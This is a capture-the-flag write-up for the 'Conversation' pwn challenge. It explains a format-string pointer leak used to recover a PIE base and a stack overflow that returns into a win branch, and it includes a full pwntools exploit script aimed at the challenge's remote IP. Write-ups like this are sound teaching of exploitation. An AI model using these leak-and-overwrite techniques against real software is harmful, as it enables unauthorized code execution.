Conversation
Conversation
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: format_string_leak, pie_base_recovery, ret_to_win
Summary
Task: an ELF64 PIE binary with NX and Full RELRO exposes both a format string in the name prompt and a stack overflow in the description prompt, while the embedded flag string is fake. Solution: leak &allowance with the 45th %p, recover the PIE base, then ret to the success branch at base + 0x1489 to print the real remote flag.
Conversation — hackerlab
Description
conversation
We are given an ELF64 network service with PIE, NX, Full RELRO, no canary, and symbols intact. The local binary contains a fake flag string, so the goal is not to read static data but to reach the code path that prints the real remote flag.
Analysis
say_name()contains two bugs:- a format string in
printf(name_buf) - a stack overflow in the description input (
fgets(..., 0x150, ...)into a0x140buffer)
- a format string in
- Relevant global offsets are:
text read-only • copy allowedflag = 0x4010 allowance = 0x4049 win branch in say_name = 0x1489
- The binary also contains a fake global string:
CODEBY{Fake_flag}. - Sending 45
%pspecifiers leaks a pointer to&allowanceas the 45th printed value. - With that leak, the PIE base is:
text read-only • copy allowedbase = leaked_allowance - 0x4049
- The offset from the description buffer to saved RIP is
0x148. - The best target is the existing success branch inside
say_nameatbase + 0x1489, which prints:
c read-only • copy allowedprintf("Hurray! Keep: %s\n", flag)
Solution
- Choose menu option
1to entersay_name(). - Trigger the format string in the name prompt.
- Send 45
%pvalues and parse the 45th pointer as&allowance. - Compute the PIE base as
leak - 0x4049. - In the description prompt, overflow
0x148bytes up to RIP. - Overwrite RIP with
p64(base + 0x1489)[:7]. - Send exactly
0x14fbytes withsend(), notsendline(), sofgetsappends the final NUL itself and supplies the final zero byte of RIP. - Execution lands in the success branch and prints the real flag instead of the fake global string.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "62.173.140.174" PORT = 27900 context.binary = elf = ELF("./task", checksec=False) LEAK_INDEX = 45 FLAG_BRANCH = 0x1489 OFFSET_TO_RIP = 0x148 def start(): if args.REMOTE: return remote(HOST, PORT) return process([elf.path]) def leak_base(io): io.recvuntil(b"Choice: ") io.sendline(b"1") io.recvuntil(b"My name is ") payload = b".".join([b"%p"] * LEAK_INDEX) io.sendline(payload) out = io.recvuntil(b"You: ") line = out.split(b"Excuse me, ", 1)[1].split(b" describe yourself.", 1)[0] allowance = int(line.split(b".")[LEAK_INDEX - 1], 16) base = allowance - elf.symbols["allowance"] log.info(f"allowance = {hex(allowance)}") log.info(f"base = {hex(base)}") return base def smash_to_flag(io, base): target = base + FLAG_BRANCH payload = b"A" * 0x140 + b"B" * 8 + p64(target)[:7] assert len(payload) == 0x14F io.send(payload) def main(): io = start() base = leak_base(io) smash_to_flag(io, base) print(io.recvrepeat(2).decode("latin-1", "replace"), end="") if __name__ == "__main__": main()
The exploit was verified against the remote service and returned CODEBY{REDACTED}.